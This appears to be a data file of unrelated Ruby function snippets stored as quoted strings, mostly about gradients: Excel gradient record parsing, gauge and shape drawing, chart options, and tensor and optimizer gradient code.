"def xfpropgradient(data)\n io = StringIO.new(data)\n\n type = io.read(4).unpack('V').first rescue binding.pry\n type_d = {\n 0 => :linear,\n 1 => :rectangular\n }[type]\n\n {\n type: type, # type (4 bytes): A Boolean (section 2.5.14) that specifies the gradient type.\n type_d: type_d,\n numDegree: xnum(io.read(8)).round(2), # numDegree (8 bytes): An Xnum (section 2.5.342) that specifies the gradient angle in degrees for a linear gradient. The gradient angle specifies the angle at which gradient strokes are drawn.\n numFillToLeft: xnum(io.read(8)).round(2), # numFillToLeft (8 bytes): An Xnum that specifies the left coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n numFillToRight: xnum(io.read(8)).round(2), # numFillToRight (8 bytes): An Xnum that specifies the right coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n numFillToTop: xnum(io.read(8)).round(2), # numFillToTop (8 bytes): An Xnum that specifies the top coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n numFillToBottom: xnum(io.read(8)).round(2), # numFillToBottom (8 bytes): An Xnum that specifies the bottom coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n }\n end",
"def derivatives_options\n opts[:derivatives]\n end",
"def initialize(options = {})\n options[:type] ||= :linear\n parse_options options\n @stop = SimpleTypedList.new GradientStop\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n gradient = c1 != c2\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n end\n \n if gradient\n bitmap.gradient_fill_rect(rect.x, rect.y, rect.width, \n rect.height, c1, c2, self.vertical)\n else\n bitmap.fill_rect(rect.x, rect.y, rect.width, rect.height, c1)\n end\n end\n end",
"def initialize(options={})\n options[:type] ||= :linear\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? o[0]\n end\n @stop = SimpleTypedList.new GradientStop\n end",
"def cycle_gradient(options)\n raise ArgumentError unless options.include?(:start_color) && options.include?(:end_color)\n count = options.delete(:count) || 4\n steps = count - 1\n @_current_step = 0 unless defined? @_current_step\n \n # First line splits the hex string into channels for each color and zips the two together,\n # resulting in an array of ranges for each channel, eg [[0, 255], [0,255], [0,255]]. The\n # second line then does the interpolation on each channel, formats the string into the\n # proper hex, and joins it all together.\n\n current_color = options.delete(:start_color).scan(/../).collect{|b| b.hex}.zip(options.delete(:end_color).scan(/../).collect{|b| b.hex}).\n collect { |r| \"%02x\"%(r.first + ((r.last - r.first) / steps) * @_current_step) }.join\n @_current_step = (@_current_step + 1) % count\n \n current_color\n end",
"def gradient_fill_region(x, y, a, b, c)\n return if invalid?(x, y)\n fill_region(x, y, c)\n colour(x, y, a)\n x = x.to_i\n y = y.to_i\n conditional_colour(x-1, y, b, c)\n conditional_colour(x+1, y, b, c)\n conditional_colour(x, y-1, b, c)\n conditional_colour(x, y+1, b, c)\n conditional_colour(x-1, y-1, b, c)\n conditional_colour(x+1, y-1, b, c)\n conditional_colour(x-1, y+1, b, c)\n conditional_colour(x+1, y+1, b, c) \n end",
"def stop_gradient(tensor, options = {})\n _op(:stop_gradient, tensor, nil, options)\n end",
"def stop_gradient(tensor, options = {})\n _op(:stop_gradient, tensor, options)\n end",
"def gradient(*args)\n case args.length\n when 1\n arg = args[0]\n case arg\n when Gradient\n min, max = arg.color1, arg.color2\n when Range\n min, max = arg.first, arg.last\n else\n raise ArgumentError, \"Can't make gradient out of #{arg.inspect}\"\n end\n when 2\n min, max = args[0], args[1]\n else\n raise ArgumentError, \"Wrong number of arguments (#{args.length} for 1 or 2)\"\n end\n Shoes::Gradient.new(color(min), color(max))\n end",
"def smooth\n if @options.has_key?(:dot_values) && @options[:dot_values] != false\n dot_size = @options.has_key?(:dot_size) ? @options[:dot_size].to_f : 2\n else\n dot_size = 0\n end\n step = @options[:step].to_f\n height = @options[:height].to_f + (dot_size)\n width = ((@norm_data.size - 1) * step + (dot_size * 2) + 2).to_f\n\n background_color = @options[:background_color]\n create_canvas(width, height, background_color)\n\n min_color = @options[:min_color]\n max_color = @options[:max_color]\n last_color = @options[:last_color]\n has_min = @options[:has_min]\n has_max = @options[:has_max]\n has_last = @options[:has_last]\n line_color = @options[:line_color]\n has_std_dev = @options[:has_std_dev]\n std_dev_color = @options[:std_dev_color]\n\n target = @options.has_key?(:target) ? @options[:target].to_f : nil\n target_color = @options[:target_color] || 'white'\n\n\n\n drawstddevbox(width,height,std_dev_color) if has_std_dev == true\n\n # @draw.stroke_antialias(false)\n # @draw.stroke_width = 2\n @draw.stroke(line_color)\n coords = []\n i=0\n @norm_data.each do |r|\n if i == 0\n i += dot_size\n end\n\n coords.push [ i, (height - (dot_size / 2.0) - 3 - r/(101.0/(height-4-(dot_size)))) ]\n i += step\n end\n\n if @options[:underneath_color]\n closed_polygon(height, width, coords, dot_size)\n @draw.stroke(line_color)\n open_ended_polyline(coords)\n else\n open_ended_polyline(coords)\n end\n\n unless target.nil?\n normalized_target_value = ((target.to_f - @minimum_value)/(@maximum_value - @minimum_value)) * 100.0\n # adjusted_target_value = (height - 3 - normalized_target_value/(101.0/(height-4))).to_i\n adjusted_target_value = (height - (dot_size / 2.0) - 3 - normalized_target_value/(101.0/(height-4-(dot_size)))).to_i\n @draw.stroke(target_color)\n\n if @options[:dot_values] == false\n open_ended_polyline([[-5, adjusted_target_value], [width + 5, adjusted_target_value]])\n else\n open_ended_polyline([[coords.first.first, adjusted_target_value], [coords.last.first, adjusted_target_value]])\n end\n end\n\n if @options[:dot_values] != false\n @draw.fill('black')\n @draw.stroke('black')\n # Rails.logger.debug { \"coords.length = #{coords.length}\" }\n coords.each_with_index do |coord, i|\n # Rails.logger.debug { \"coord = #{coord.inspect}\" }\n @draw.ellipse(coord[0], coord[1], dot_size, dot_size, 0, 360) unless @data[i] > @maximum_value\n end\n @draw.stroke(line_color)\n end\n\n if @options[:dot_values] == false\n drawbox(coords[@norm_data.index(@norm_data.min)], 2, min_color) if has_min == true\n drawbox(coords[@norm_data.index(@norm_data.max)], 2, max_color) if has_max == true\n drawbox(coords[-1], 2, last_color) if has_last == true\n else\n draw_circle(coords[@norm_data.index(@norm_data.min)], dot_size, min_color) if has_min == true\n draw_circle(coords[@norm_data.index(@norm_data.max)], dot_size, max_color) if has_max == true\n draw_circle(coords[-1], dot_size, last_color) if has_last == true\n end\n\n @draw.draw(@canvas)\n @canvas\n end",
"def xfextgradient(data)\n io = StringIO.new(data)\n\n result = xfpropgradient(io.read(44)) # gradient (44 bytes): An XFPropGradient that specifies the gradient fill.\n\n result[:cGradStops] = io.read(4).unpack('V').first # cGradStops (4 bytes): An unsigned integer that specifies the number of items in rgGradStops.\n\n result[:rgGradStops] = [] # rgGradStops (variable): An array of GradStop. Each array element specifies a gradient stop for this gradient fill.\n result[:cGradStops].times { result[:rgGradStops] << gradstop(io) }\n\n result\n end",
"def gradients(tensor_ys, wrt_xs, name: \"gradients\", stop_gradients: nil)\n tensor_ys = tensor_ys.op\n gs = wrt_xs.map(&:op).collect { |x|\n stops = stop_gradients ? stop_gradients.map(&:name).join(\"_\") : \"\"\n gradient_program_name = \"grad_#{tensor_ys.name}_#{x.name}_#{stops}\".to_sym\n tensor_graph = tensor_ys.graph\n\n tensor_program = if tensor_graph.node_added?(gradient_program_name)\n tensor_graph.get_node(gradient_program_name)\n else\n tensor_graph.name_scope(\"gradient_wrt_#{x.name}\") do\n derivative_ops = TensorStream::MathGradients.derivative(tensor_ys, x, graph: tensor_graph,\n stop_gradients: stop_gradients)\n tensor_graph.add_node!(gradient_program_name, derivative_ops)\n end\n end\n tensor_program\n }\n\n gs\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n br_c1 = self.br_color1\n br_c2 = self.br_color2\n gradient = (c1 != c2)\n br_gradient = (br_c1 != br_c2)\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n \n if br_gradient\n br_c1 = Color.inactive_gauge_color1\n br_c2 = Color.inactive_gauge_color2\n else\n br_c1 = br_c2 = Color.normal_color\n end\n end\n \n if filled\n bitmap.draw_filled_circle(self.x, self.y, self.radius, c1, c2)\n end\n \n if border > 0\n bitmap.draw_circle(self.x, self.y, self.radius, br_c1, self.border, br_c2)\n end\n \n end\n end",
"def needs_redraw?\n @needs_redraw\n end",
"def needs_redraw?\n true \n end",
"def show_cluster_point_borders?\n if self.default_options[:cluster_point_border].blank?\n false\n else\n self.default_options[:cluster_point_border] == 'true'\n end\n end",
"def cfgradient(io)\n _, _, c_interp_curve, c_gradient_curve, attrs = io.read(6).unpack('vC4')\n # unused (2 bytes): Undefined and MUST be ignored.\n # reserved1 (1 byte): MUST be zero and MUST be ignored.\n attrs = Unxls::BitOps.new(attrs)\n\n result = {\n _type: :CFGradient,\n cInterpCurve: c_interp_curve, # cInterpCurve (1 byte): An unsigned integer that specifies the number of control points in the interpolation curve. It MUST be 0x2 or 0x3.\n cGradientCurve: c_gradient_curve, # cGradientCurve (1 byte): An unsigned integer that specifies the number of control points in the gradient curve. It MUST be equal to cInterpCurve.\n fClamp: attrs.set_at?(0), # A - fClamp (1 bit): A bit that specifies that the cell values are not used when they are out of the range of the interpolation curve. The minimum or the maximum of the interpolation curve is used instead of the cell value.\n fBackground: attrs.set_at?(1), # B - fBackground (1 bit): A bit that specifies that the color scale formatting applies to the background of the cells. It MUST be 1.\n # reserved2 (6 bits): MUST be zero and MUST be ignored.\n }\n\n result[:rgInterp] = c_interp_curve.times.map { cfgradientinterpitem(io) } # rgInterp (variable): An array of CFGradientInterpItem. Each element is a control point of the interpolation curve. Its element count MUST be cInterpCurve.\n result[:rgCurve] = c_gradient_curve.times.map { cfgradientitem(io) } # rgCurve (variable): An array of CFGradientItem. Each element is a control point of the gradient curve. Its element count MUST be cGradientCurve.\n\n result\n end",
"def list_grad\n if @_data && @_grad.nil?\n raise \"Cannot get gradient array for Parameter '#{@name}' \" +\n \"because grad_req is null\"\n end\n _check_and_get(@_grad, Array)\n end",
"def linear_gradient(x1,y1,x2,y2,extend,*stops) \n g =LinearPattern.new(x1,y1,x2,y2) \n g.set_extend(eval(\"EXTEND_#{extend.to_s.upcase}\")) \n stops.each {|s| \n g.add_color_stop_rgba(*s)\n } \n return g \n end",
"def default_options\n { \n :x => 20,\n :y => 20,\n :gauge_color => \"ff0000\",\n :legend_color => \"cc0000\",\n }\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n br_c1 = self.br_color1\n br_c2 = self.br_color2\n gradient = (c1 != c2)\n br_gradient = (br_c1 != br_c2)\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n \n if br_gradient\n br_c1 = Color.inactive_gauge_color1\n br_c2 = Color.inactive_gauge_color2\n else\n br_c1 = br_c2 = Color.normal_color\n end\n end\n \n if filled\n bitmap.draw_filled_ellipse(self.x, self.y, self.a, self.b, c1, c2)\n end\n \n if border > 0\n bitmap.draw_ellipse(self.x, self.y, self.a, self.b, br_c1, \n self.border, br_c2)\n end\n \n end\n end",
"def gradients(ys, wrt_xs, name: 'gradients', stop_gradients: nil)\n\n gs = wrt_xs.collect do |x|\n stops = stop_gradients ? stop_gradients.map(&:name).join('_') : ''\n gradient_program_name = \"grad_#{ys.name}_#{x.name}_#{stops}\".to_sym\n\n tensor_program = if ys.graph.node_added?(gradient_program_name)\n ys.graph.get_node(gradient_program_name)\n else\n ys.graph.name_scope(\"gradient_wrt_#{x.name}\") do\n derivative_ops = TensorStream::MathGradients.derivative(ys, x, graph: ys.graph,\n stop_gradients: stop_gradients)\n ys.graph.add_node!(gradient_program_name, derivative_ops)\n end\n end\n tensor_program\n end\n TensorStream.group(gs)\n end",
"def needs_redraw?; end",
"def radial(gradient, sx=@width/2, sy=@height/2, er=@width/2, ex=sx, ey=sy, sr=0.0)\n #options = KCGGradientDrawsBeforeStartLocation\n #options = KCGGradientDrawsAfterEndLocation\n CGContextDrawRadialGradient(@ctx, gradient.gradient, NSMakePoint(sx, sy), sr, NSMakePoint(ex, ey), er, gradient.pre + gradient.post)\n end",
"def trainAsGradientDescent\r\n\t\tlRate \t\t\t\t= @parameters[:lRate] || @@defaultGDLearnRate \r\n\t\titerations\t\t\t= @parameters[:iterations] || @@defaultGDIterations\r\n\t\t#Skip identical train\r\n\t\treturn if @trained && @gradientModel && @learningRate == lRate && @iterations == iterations\r\n\t\t#Set hyperparameters\r\n\t\t@learningRate \t\t= lRate\r\n\t\t@iterations\t\t\t= iterations\r\n\t\t#Train Gradient Descent\r\n\t\t@lr.train_gradient_descent @learningRate, @iterations, @silentMode\r\n\t\t#Train flags update\r\n\t\t@trained \t\t\t= true\r\n\t\t@gradientModel\t\t= true\r\n\tend",
"def gradated_background(columns, rows, top_color, bottom_color, direct = :top_bottom)\n gradient_fill = begin\n case direct\n when :bottom_top\n Magick::GradientFill.new(0, 0, 100, 0, bottom_color, top_color)\n when :left_right\n Magick::GradientFill.new(0, 0, 0, 100, top_color, bottom_color)\n when :right_left\n Magick::GradientFill.new(0, 0, 0, 100, bottom_color, top_color)\n when :topleft_bottomright\n Magick::GradientFill.new(0, 100, 100, 0, top_color, bottom_color)\n when :topright_bottomleft\n Magick::GradientFill.new(0, 0, 100, 100, bottom_color, top_color)\n else\n Magick::GradientFill.new(0, 0, 100, 0, top_color, bottom_color)\n end\n end\n\n image = Magick::Image.new(columns, rows, gradient_fill)\n @gradated_background_retry_count = 0\n\n image\n rescue StandardError => e\n @gradated_background_retry_count ||= 0\n GC.start\n\n if @gradated_background_retry_count < 3\n @gradated_background_retry_count += 1\n gradated_background(columns, rows, top_color, bottom_color, direct)\n else\n raise e\n end\n end",
"def highlighted? options={}\r\n matches_path?(highlights, options) \\\r\n && !matches_path?(highlights_nots, options)\r\n end",
"def wantsPeriodicDraggingUpdates \n true\n end",
"def needs_redraw?\n\t\tif @has_changed\n\t\t\t@has_changed = false\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend",
"def process_google_options options\n options[:width] ||= 360\n options[:height] ||= 240\n options[:background] = options[:background_color] || options[:background] || 'eeeeee'\n options[:line_thickness] ||= options[:line_width]\n options[:colors] ||= default_color_train\n options[:lighten_background] ||= 0 #percent\n options[:backgroud_shading_angle] ||= 45 # degrees\n options[:axes_color] ||= '444444'\n options[:title_color] ||= '222222'\n options[:y_min] ||= 0\n options[:colors].each_with_index do |color,i|\n if color =~ /#?([0-9a-fA-F]{2}[0-9a-fA-F]{2}[0-9a-fA-F]{2})/\n options[:colors][i] = $1 # strip off the preceding #\n end\n end\n options[:img_width] ||= options[:width]\n options[:img_height] ||= options[:height]\n options[:show_legend] = true if options[:show_legend] == nil\n options[:show_labels] = false if options[:show_labels] == nil\n options\n end",
"def grad(ctx: nil)\n if @_data && @_grad.nil?\n raise \"Cannot get gradient array for Parameter '#{@name}' \" +\n \"because grad_req is null\"\n end\n _check_and_get(@_grad, ctx)\n end",
"def draw_background(options={})\n settings = {z: -1, fixed: true}.merge(options)\n show_shape(:background, settings)\n end",
"def cfgradientitem(io)\n {\n numGrange: xnum(io.read(8)), # numGrange (8 bytes): An Xnum (section 2.5.342) that specifies the numerical value of the control point.\n color: cfcolor(io) # A CFColor that specifies the color associated with the numerical value specified in numGrange.\n }\n end",
"def forced?\n arc.source_arrow.eql?('dash')\n end",
"def draw\n fill_gradient(:from => Color::BLUE, :to => Color::CYAN)\n @header_image.draw(@header_x, @header_y, 100, 3, 3)\n super\n end",
"def show_legend=(v) Axlsx::validate_boolean(v); @show_legend = v; end",
"def drawing?\n @speed.nil? and not @paused\n end",
"def parse_fill_options(options = {})\n return unless options[:bg_color]\n\n color = Color.new(rgb: options[:bg_color])\n dxf = options[:type] == :dxf\n color_key = dxf ? :bgColor : :fgColor\n pattern = PatternFill.new(:patternType => :solid, color_key => color)\n fill = Fill.new(pattern)\n dxf ? fill : fills << fill\n end",
"def draw_setup(gc)\n if @obj.stroke and @obj.strokewidth > 0\n gc.set_foreground @obj.stroke\n gc.set_alpha @obj.stroke_alpha\n gc.set_line_width @obj.strokewidth\n true\n end\n end",
"def is_xy=(value)\n @is_xy = value\n if value\n self.chart_type = :lxy\n else\n self.chart_type = :lc\n end\n end",
"def gradstop(io)\n xclr_type = io.read(2).unpack('v').first\n type = xcolortype(xclr_type)\n\n result = {\n xclrType: xclr_type, # xclrType (2 bytes): An XColorType that specifies how the color information is stored.\n xclrType_d: type,\n xclrValue: _interpret_xclr(type, io.read(4)), # xclrValue (4 bytes): An unsigned integer that specifies the color data.\n numPosition: xnum(io.read(8)).round(2), # numPosition (8 bytes): An Xnum (section 2.5.342) that specifies the gradient stop position as the percentage of the gradient range. The gradient stop position is the position within the gradient range where this gradient stop’s color begins.\n }\n\n num_tint = xnum(io.read(8)).round(2)\n result[:numTint] = num_tint # numTint (8 bytes): An Xnum that specifies the tint of the color.\n result[:nTintShade_d] = num_tint # for compability with FullColorExt\n\n result\n end",
"def draw(graph, options = {})\n node = graph.add_nodes(name ? name.to_s : 'nil',\n label: description(options),\n width: '1',\n height: '1',\n shape: final? ? 'doublecircle' : 'ellipse')\n\n # Add open arrow for initial state\n graph.add_edges(graph.add_nodes('starting_state', shape: 'point'), node) if initial?\n\n true\n end",
"def supports_optimizer_hints?\n false\n end",
"def show_legend=(v) Axlsx.validate_boolean(v); @show_legend = v; end",
"def apply_gradients(grads_and_vars, global_step: nil, name: nil)\n varlist = grads_and_vars.map { |_grad, var| var }\n create_slots(varlist)\n TensorStream.name_scope(name, default: @name) do\n prepare\n apply_ops = grads_and_vars.map { |grad, var|\n TensorStream.name_scope(\"update_\" + var.op.name) do\n apply_dense(grad, var)\n end\n }\n\n if global_step.nil?\n finish(apply_ops, name)\n else\n TensorStream.control_dependencies([finish(apply_ops, \"update\")]) do\n global_step.assign_add(1)\n end\n end\n end\n end",
"def use_default_style?\n return @use_default_style\n end",
"def needs_redraw?\n\t\tif @has_moved || @prawn.needs_redraw?\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend",
"def isDelta?\n return @deltaflag if @deltaflag != nil\n return false\n end",
"def gradient(point1,point2)\n ((point1[1] - point2[1]).to_f/(point1[0] - point2[0]))\nend",
"def use_style?\n end",
"def add_grad(grad_t)\n p \"CALLED ADDGRAD\"\n if @grad_tensor\n @grad_tensor += grad_t\n else\n @grad_tensor = grad_t\n end\n end",
"def update!(**args)\n @point_curvature = args[:point_curvature] if args.key?(:point_curvature)\n end",
"def draw_spliced(feature_context, pixel_ranges, gap_starts, gap_stops)\n # draw the parts\n pixel_ranges.each do |range|\n feature_context.rectangle(range.lend, 0, range.rend - range.lend, Bio::Graphics::FEATURE_HEIGHT).fill\n gap_starts.push(range.rend)\n gap_stops.push(range.lend)\n end\n\n # And then draw the connections in the gaps\n # Start with removing the very first start and the very last stop.\n gap_starts.sort!.pop\n gap_stops.sort!.shift\n\n gap_starts.length.times do |gap_number|\n connector(feature_context,gap_starts[gap_number].to_f,gap_stops[gap_number].to_f)\n end\n\n if @subfeature.hidden_subfeatures_at_stop\n feature_context.move_to(self.right_pixel, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.line_to(@subfeature.feature.track.panel.width, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.stroke\n end\n\n if @subfeature.hidden_subfeatures_at_start\n feature_context.move_to(1, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.line_to(left_pixel, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.stroke\n end\n end",
"def attach_grad(grad_req: :write, stype: nil)\n if stype\n # TODO: support stype\n #grad = MXNet::NDArray.zeros(self.shape, stype: self.stype)\n raise NotImplementedError\n else\n grad = Ops.zeros_like(self)\n end\n grad_req = GRAD_REQ_MAP[grad_req]\n _attach_grad(grad_req, grad)\n end",
"def mixin_should_generate_override_config?\n (is_main_mixin_service? || main_service.mixin_binding_overrides?) &&\n main_service.grpc_full_name != \"google.longrunning.Operations\"\n end",
"def set_legend(params)\n @legend_position = params[:position] || 'right'\n @legend_delete_series = params[:delete_series]\n end",
"def use_graphic_settings(override_settings = false)\n set_fill_color if current_fill_color != '000000' || override_settings\n set_stroke_color if current_stroke_color != '000000' || override_settings\n write_line_width if line_width != 1 || override_settings\n write_stroke_cap_style if cap_style != :butt || override_settings\n write_stroke_join_style if join_style != :miter || override_settings\n write_stroke_dash if dashed? || override_settings\n end",
"def above_line(line,point)\n grad = gradient(line.first,line.last)\n c = grad * -1 * line.first[0] + line.first[1]\n line_y = grad * point[0] + c\n diff = point[1] - line_y\n if diff > -0.000000001 # i'm sure there's something wrong with this!\n return true\n else\n return false\n end\nend",
"def enabled?\n optimization_options.values.any?\n end",
"def line_style(data_set_index, options={})\n @line_styles[data_set_index] = \"#{options[:line_thickness]}\"\n @line_styles[data_set_index] += \",#{options[:length_segment]},#{options[:length_blank]}\" if options[:length_segment]\n end",
"def fast_growing?\n to_mark = false\n for page, interval in GROWTH_THRESHOLDS\n to_mark ||= cross_growth_threshold(page, interval)\n end\n to_mark\n end",
"def update!(**args)\n @blur_baseline_config = args[:blur_baseline_config] if args.key?(:blur_baseline_config)\n @smooth_grad_config = args[:smooth_grad_config] if args.key?(:smooth_grad_config)\n @step_count = args[:step_count] if args.key?(:step_count)\n end",
"def update!(**args)\n @blur_baseline_config = args[:blur_baseline_config] if args.key?(:blur_baseline_config)\n @smooth_grad_config = args[:smooth_grad_config] if args.key?(:smooth_grad_config)\n @step_count = args[:step_count] if args.key?(:step_count)\n end",
"def golden_section(direction=:both, exp=1)\nif direction==:both\nCGPoint.new(self.x.golden_section(exp), self.y.golden_section(exp))\nelsif direction==:x\nCGPoint.new(self.x.golden_section(exp), self.y)\nelsif direction==:y\nCGPoint.new(self.x, self.y.golden_section(exp))\nelse\n raise \"CGPoint: unknown direction #{direction}\"\nend\nend",
"def alpha_blending=(bool)\n ::GD2::GD2FFI.send(:gdImageAlphaBlending, image_ptr, bool ? 1 : 0)\n end",
"def draw_legend\n return if @hide_legend\n\n @legend_labels = @left_data.collect {|item| item[DATA_LABEL_INDEX] }\n @right_legend_labels = @right_data.collect {|item| item[DATA_LABEL_INDEX]}\n\n legend_square_width = @legend_box_size # small square with color of this item\n\n # May fix legend drawing problem at small sizes\n @d.font = @font if @font\n @d.pointsize = @legend_font_size\n\n label_widths = [[]] # Used to calculate line wrap\n @legend_labels.each do |label|\n metrics = @d.get_type_metrics(@base_image, label.to_s)\n label_width = metrics.width + legend_square_width * 2.7\n label_widths.last.push label_width\n\n if sum(label_widths.last) > (@raw_columns - LEFT_MARGIN)\n label_widths.push [label_widths.last.pop]\n end\n end\n\n right_label_widths = [[]] # Used to calculate line wrap\n @right_legend_labels.each do |label|\n right_metrics = @d.get_type_metrics(@base_image, label.to_s)\n right_label_width = right_metrics.width + legend_square_width * 2.7\n right_label_widths.last.push right_label_width\n\n if sum(right_label_widths.last) > (@raw_columns - LEFT_MARGIN)\n right_label_widths.push [right_label_widths.last.pop]\n end\n end\n\n current_x_offset = LEFT_MARGIN #center(sum(label_widths.first))\n current_y_offset = @hide_title ?\n @top_margin + TITLE_MARGIN :\n @top_margin + TITLE_MARGIN + @title_caps_height\n\n @legend_labels.each_with_index do |legend_label, index|\n\n # Draw label\n @d.fill = @font_color\n @d.font = @font if @font\n @d.pointsize = scale_fontsize(@legend_font_size)\n @d.stroke('transparent')\n @d.font_weight = NormalWeight\n @d.gravity = WestGravity\n @d = @d.annotate_scaled( @base_image,\n @raw_columns, 1.0,\n current_x_offset + (legend_square_width * 1.7), current_y_offset,\n legend_label.to_s, @scale)\n\n # Now draw box with color of this dataset\n @d = @d.stroke('transparent')\n @d = @d.fill @left_data[index][DATA_COLOR_INDEX]\n @d = @d.rectangle(current_x_offset,\n current_y_offset - legend_square_width / 2.0,\n current_x_offset + legend_square_width,\n current_y_offset + legend_square_width / 2.0)\n\n @d.pointsize = @legend_font_size\n metrics = @d.get_type_metrics(@base_image, legend_label.to_s)\n current_string_offset = metrics.width + (legend_square_width * 2.7)\n\n # Handle wrapping\n label_widths.first.shift\n if label_widths.first.empty?\n debug { @d.line 0.0, current_y_offset, @raw_columns, current_y_offset }\n\n label_widths.shift\n current_x_offset = LEFT_MARGIN #unless label_widths.empty?\n line_height = [@legend_caps_height, legend_square_width].max + LEGEND_MARGIN\n if label_widths.length > 0 || index == @left_data.length - 1\n # Wrap to next line and shrink available graph dimensions\n current_y_offset += line_height\n @graph_top += line_height\n @graph_height = @graph_bottom - @graph_top\n end\n else\n current_x_offset += current_string_offset\n end\n end\n\n @right_legend_labels.each_with_index do |legend_label, index|\n\n # Draw label\n @d.fill = @font_color\n @d.font = @font if @font\n @d.pointsize = scale_fontsize(@legend_font_size)\n @d.stroke('transparent')\n @d.font_weight = NormalWeight\n @d.gravity = WestGravity\n @d = @d.annotate_scaled( @base_image,\n @raw_columns, 1.0,\n current_x_offset + (legend_square_width * 1.7), current_y_offset,\n legend_label.to_s, @scale)\n\n # Now draw box with color of this dataset\n# @d = @d.stroke('transparent')\n @d = @d.fill @right_data[index][DATA_COLOR_INDEX]\n\n @d.line(current_x_offset, current_y_offset, current_x_offset+legend_square_width, current_y_offset)\n circle_radius = 1.5\n org_x = current_x_offset + (legend_square_width/2.0)\n @d.circle(org_x, current_y_offset, org_x - circle_radius, current_y_offset)\n\n @d.pointsize = @legend_font_size\n right_metrics = @d.get_type_metrics(@base_image, legend_label.to_s)\n current_string_offset = right_metrics.width + (legend_square_width * 2.7)\n\n # Handle wrapping\n right_label_widths.first.shift\n if right_label_widths.first.empty?\n debug { @d.line 0.0, current_y_offset, @raw_columns, current_y_offset }\n\n right_label_widths.shift\n current_x_offset = LEFT_MARGIN #unless right_label_widths.empty?\n line_height = [@legend_caps_height, legend_square_width].max + LEGEND_MARGIN\n if right_label_widths.length > 0\n # Wrap to next line and shrink available graph dimensions\n current_y_offset += line_height\n @graph_top += line_height\n @graph_height = @graph_bottom - @graph_top\n end\n else\n current_x_offset += current_string_offset\n end\n end\n @color_index = 0\n end",
"def draw? \n end",
"def options?\n false\n end",
"def options?\n false\n end",
"def use_hidden_geometry?\n end",
"def valid?\n return false if @range_start_index.nil?\n return false if @range_end_index.nil?\n true\n end",
"def proxy?\n @options.has_key?('proxy_port')\n end",
"def gateway_options\n process_keys\n options = base_options\n\n config.proxy_port.nil? or options.merge!(:port => config.proxy_port)\n config.proxy_password.nil? or options.merge!(:password => config.proxy_password)\n config.proxy_keys.nil? or options.merge!(:keys => config.proxy_keys)\n\n config.ui.logger.debug { \"gateway_options(#{options.inspect})\" }\n options\n end",
"def zero_grad\n each_value(&:zero_grad)\n end",
"def use_axes?\n end",
"def validate_options\n true\n end",
"def defaults(context)\n CGContextSaveGState(context)\n stroke.setStroke\n fill.setFill\n if fill_phase\n CGContextSetPatternPhase(context, fill_phase)\n end\n CGContextSetLineWidth(context, self.line_width)\n if line_dash\n CGContextSetLineDash(context, 0, line_dash.to_pointer(:float), line_dash.length)\n end\n yield\n CGContextRestoreGState(context)\n end",
"def option_transparent\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option transparent \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def fill_paint(paint)\n end",
"def do_clustering\n marker_options.try(:[], :do_clustering)\n end",
"def trace_disabled?(options)\n !(traced? || options[:force])\n end",
"def calculated_args_changed_for_defaults!\n has_default_dimensions = default_width? || default_height?\n parent_calculated_args_changed_for_defaults = has_default_dimensions\n calculated_args_changed!(children: false) if default_x? || default_y? || has_default_dimensions\n if has_default_dimensions && parent.is_a?(Shape)\n parent.calculated_args_changed_for_defaults!\n elsif @content_added && !drawable.is_disposed\n # TODO consider optimizing in the future if needed by ensuring one redraw for all parents in the hierarchy at the end instead of doing one per parent that needs it\n if !@painting && !drawable.is_a?(ImageProxy)\n drawable.redraw\n return true\n end\n end\n false\n end",
"def draw_page_index\n self.contents.gradient_fill_rect(0,0,contents.width, line_height, sc1, sc2, true)\n contents.clear_rect(0,0,1,1)\n contents.clear_rect(contents.width-1, 0,1,1)\n contents.clear_rect(0,line_height-1,1,1)\n contents.clear_rect(contents.width-1,line_height-1,1,1)\n draw_page_state\n end",
"def cleargrad\n @grad_var = nil\n end",
"def trainAsStandardRegressor\r\n\t\treturn if @trained && @gradientModel == false\r\n\t\t#Train standard regressor\r\n\t\t#FIRE!\r\n\t\t@lr.train_normal_equation\r\n\t\t#Train flags update\r\n\t\t@train\t\t\t\t= true\r\n\t\t@gradientModel\t\t= false\r\n\tend",
"def use_rendering_options?\n end",
"def update!(**args)\n @curvature_status = args[:curvature_status] if args.key?(:curvature_status)\n @radians_per_meter = args[:radians_per_meter] if args.key?(:radians_per_meter)\n @start_point_fraction = args[:start_point_fraction] if args.key?(:start_point_fraction)\n end",
"def process_legend_input(input)\n process_boolean_input(input, :legend_extend)\n end",
"def update(batch_size, ignore_stale_grad: false)\n init_kvstore unless @kv_initialized\n\n # TODO:\n # if self._params_to_init:\n # self._init_params()\n\n if @kvstore && @update_on_kvstore\n raise 'update() when parameters are updated on kvstore ' +\n 'is not supported. Try setting `update_on_kvstore` ' +\n 'to False when creating trainer.'\n end\n\n @optimizer.rescale_grad = @scale / batch_size\n _update(ignore_stale_grad)\n end",
"def valid_opts\n true\n end",
"def needs_redraw?\n return (@main_window_widget.needs_redraw? or not @main_window_widget.throttle_render?)\n end",
